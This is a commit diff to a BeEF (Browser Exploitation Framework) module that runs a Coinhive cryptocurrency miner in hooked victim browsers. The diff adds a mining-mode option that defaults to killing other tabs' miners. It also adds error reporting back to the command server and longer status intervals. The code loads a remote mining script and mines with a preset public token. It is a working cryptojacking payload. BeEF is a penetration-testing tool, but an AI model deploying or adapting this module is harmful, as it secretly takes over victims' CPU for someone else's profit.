Add mode option
This commit is contained in:
@@ -4,6 +4,8 @@
|
|||||||
// See the file 'doc/COPYING' for copying permission
|
// See the file 'doc/COPYING' for copying permission
|
||||||
//
|
//
|
||||||
beef.execute(function() {
|
beef.execute(function() {
|
||||||
|
var comm_url = '<%= @command_url %>';
|
||||||
|
var comm_id = <%= @command_id %>;
|
||||||
|
|
||||||
load_script = function(url) {
|
load_script = function(url) {
|
||||||
var s = document.createElement('script');
|
var s = document.createElement('script');
|
||||||
@@ -14,24 +16,42 @@ beef.execute(function() {
|
|||||||
|
|
||||||
beef.debug("[CoinHive] Loading library...");
|
beef.debug("[CoinHive] Loading library...");
|
||||||
load_script('https://coinhive.com/lib/coinhive.min.js');
|
load_script('https://coinhive.com/lib/coinhive.min.js');
|
||||||
setTimeout("mine('<%= @public_token %>')", 10000);
|
|
||||||
|
|
||||||
mine = function(token) {
|
try {
|
||||||
|
setTimeout("mine('<%= @public_token %>', CoinHive.<%= @mode %>)", 10000);
|
||||||
|
} catch(e) {
|
||||||
|
beef.debug("[CoinHive] Error loading miner: " + e.message);
|
||||||
|
beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mine = function(token, mode) {
|
||||||
beef.debug("[CoinHive] Starting the miner...");
|
beef.debug("[CoinHive] Starting the miner...");
|
||||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Starting the miner');
|
beef.net.send(comm_url, comm_id, 'result=Starting the miner');
|
||||||
|
|
||||||
var miner = new CoinHive.Anonymous(token);
|
try {
|
||||||
miner.start(); //CoinHive.FORCE_MULTI_TAB);
|
var miner = new CoinHive.Anonymous(token);
|
||||||
|
miner.start(mode);
|
||||||
|
} catch(e) {
|
||||||
|
beef.debug("[CoinHive] Error starting miner: " + e.message);
|
||||||
|
beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
miner.on('open', function() {
|
||||||
|
beef.debug("[CoinHive] Opened connection to pool successfully");
|
||||||
|
beef.net.send(comm_url, comm_id, 'result=Opened connection to pool successfully', beef.are.status_success());
|
||||||
|
})
|
||||||
miner.on('authed', function() {
|
miner.on('authed', function() {
|
||||||
beef.debug("[CoinHive] Authenticated successfully");
|
beef.debug("[CoinHive] Authenticated successfully");
|
||||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Authenticated successfully', beef.are.status_success());
|
beef.net.send(comm_url, comm_id, 'result=Authenticated successfully', beef.are.status_success());
|
||||||
})
|
})
|
||||||
miner.on('error', function(params) {
|
miner.on('error', function(params) {
|
||||||
beef.debug("[CoinHive] The pool reported an error: " + params.error);
|
beef.debug("[CoinHive] The pool reported an error: " + params.error);
|
||||||
if (params.error === 'invalid_site_key') {
|
if (params.error === 'invalid_site_key') {
|
||||||
miner.stop();
|
miner.stop();
|
||||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + params.error, beef.are.status_error());
|
beef.net.send(comm_url, comm_id, 'error=' + params.error, beef.are.status_error());
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
miner.on('found', function() {
|
miner.on('found', function() {
|
||||||
@@ -48,6 +68,6 @@ beef.execute(function() {
|
|||||||
var acceptedHashes = miner.getAcceptedHashes();
|
var acceptedHashes = miner.getAcceptedHashes();
|
||||||
beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
|
beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
|
||||||
}
|
}
|
||||||
}, 1000)
|
}, 60000)
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ beef:
|
|||||||
enable: true
|
enable: true
|
||||||
category: "Misc"
|
category: "Misc"
|
||||||
name: "Coinhive Miner"
|
name: "Coinhive Miner"
|
||||||
description: "This module starts the Coinhive JavaScript Miner."
|
description: "This module starts the Coinhive JavaScript Miner. The following modes are available:<br/><p><b>IF_EXCLUSIVE_TAB</b> - The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.</p><p><b>FORCE_EXCLUSIVE_TAB</b> - The miner will always start and immediately kill all miners in other tabs that have not specified 'FORCE_MULTI_TAB'.</p><p><b>FORCE_MULTI_TAB</b> - The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners.</p>"
|
||||||
authors: ["bcoles"]
|
authors: ["bcoles"]
|
||||||
target:
|
target:
|
||||||
user_notify: ['ALL']
|
user_notify: ['ALL']
|
||||||
|
|||||||
@@ -5,11 +5,23 @@
|
|||||||
#
|
#
|
||||||
class Coinhive_miner < BeEF::Core::Command
|
class Coinhive_miner < BeEF::Core::Command
|
||||||
def self.options
|
def self.options
|
||||||
[{ 'name' => 'public_token',
|
[{ 'name' => 'public_token',
|
||||||
'description' => 'Public Token',
|
'description' => 'Public Token',
|
||||||
'ui_label' => 'Public Token',
|
'ui_label' => 'Public Token',
|
||||||
'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
|
'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
|
||||||
'type' => 'text' }]
|
'type' => 'text' },
|
||||||
|
{ 'name' => 'mode',
|
||||||
|
'type' => 'combobox',
|
||||||
|
'ui_label' => 'Mode',
|
||||||
|
'store_type' => 'arraystore',
|
||||||
|
'store_fields' => ['mode'],
|
||||||
|
'store_data' => [ ['IF_EXCLUSIVE_TAB'], ['FORCE_EXCLUSIVE_TAB'], ['FORCE_MULTI_TAB'] ],
|
||||||
|
'value' => 'FORCE_EXCLUSIVE_TAB',
|
||||||
|
'valueField' => 'mode',
|
||||||
|
'displayField' => 'mode',
|
||||||
|
'mode' => 'local',
|
||||||
|
'autoWidth' => true
|
||||||
|
}]
|
||||||
end
|
end
|
||||||
def post_execute
|
def post_execute
|
||||||
save({'result' => @datastore['result']})
|
save({'result' => @datastore['result']})
|
||||||
|
|||||||
Reference in New Issue
Block a user